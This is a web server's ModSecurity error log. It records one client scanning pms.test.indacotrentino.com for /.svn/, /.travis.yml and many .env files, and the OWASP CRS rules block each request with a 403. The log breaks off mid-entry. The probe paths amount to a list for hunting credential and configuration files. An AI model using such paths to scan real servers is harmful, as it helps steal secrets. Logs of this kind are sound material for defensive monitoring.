[Mon Jul 28 20:46:01.192433 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mrAAAAA4&quot;]
[Mon Jul 28 20:46:01.192611 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mrAAAAA4&quot;]
[Mon Jul 28 20:46:01.221705 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mrQAAAA4&quot;]
[Mon Jul 28 20:46:01.221959 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mrQAAAA4&quot;]
[Mon Jul 28 20:46:01.222153 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mrQAAAA4&quot;]
[Mon Jul 28 20:46:01.373988 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /07-accessing-data/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96msgAAAA4&quot;]
[Mon Jul 28 20:46:01.374231 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96msgAAAA4&quot;]
[Mon Jul 28 20:46:01.374445 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/begin/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96msgAAAA4&quot;]
[Mon Jul 28 20:46:01.403598 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /07-accessing-data/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mswAAAA4&quot;]
[Mon Jul 28 20:46:01.403838 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mswAAAA4&quot;]
[Mon Jul 28 20:46:01.404038 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/07-accessing-data/end/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mswAAAA4&quot;]
[Mon Jul 28 20:46:01.433048 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /08-routing/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mtAAAAA4&quot;]
[Mon Jul 28 20:46:01.433296 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mtAAAAA4&quot;]
[Mon Jul 28 20:46:01.433490 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/begin/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mtAAAAA4&quot;]
[Mon Jul 28 20:46:01.462537 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /08-routing/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mtQAAAA4&quot;]
[Mon Jul 28 20:46:01.462785 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mtQAAAA4&quot;]
[Mon Jul 28 20:46:01.462997 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/08-routing/end/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mtQAAAA4&quot;]
[Mon Jul 28 20:46:01.492003 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /09-managing-state/begin/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mtgAAAA4&quot;]
[Mon Jul 28 20:46:01.492255 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mtgAAAA4&quot;]
[Mon Jul 28 20:46:01.492449 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/begin/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mtgAAAA4&quot;]
[Mon Jul 28 20:46:01.522949 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /09-managing-state/end/vue-heroes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mtwAAAA4&quot;]
[Mon Jul 28 20:46:01.523190 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mtwAAAA4&quot;]
[Mon Jul 28 20:46:01.523396 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/09-managing-state/end/vue-heroes/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mtwAAAA4&quot;]
[Mon Jul 28 20:46:01.582200 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /3-sequelize/final/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96muQAAAA4&quot;]
[Mon Jul 28 20:46:01.582453 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96muQAAAA4&quot;]
[Mon Jul 28 20:46:01.582662 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/3-sequelize/final/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96muQAAAA4&quot;]
[Mon Jul 28 20:46:01.619579 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /31_structure_tests/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mugAAAA4&quot;]
[Mon Jul 28 20:46:01.619799 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mugAAAA4&quot;]
[Mon Jul 28 20:46:01.619992 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/31_structure_tests/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mugAAAA4&quot;]
[Mon Jul 28 20:46:01.889869 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /__tests__/test-become/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mwwAAAA4&quot;]
[Mon Jul 28 20:46:01.890116 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mwwAAAA4&quot;]
[Mon Jul 28 20:46:01.890321 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/__tests__/test-become/.env&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mwwAAAA4&quot;]
[Mon Jul 28 20:46:02.337927 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/_static/.env&quot;] [unique_id 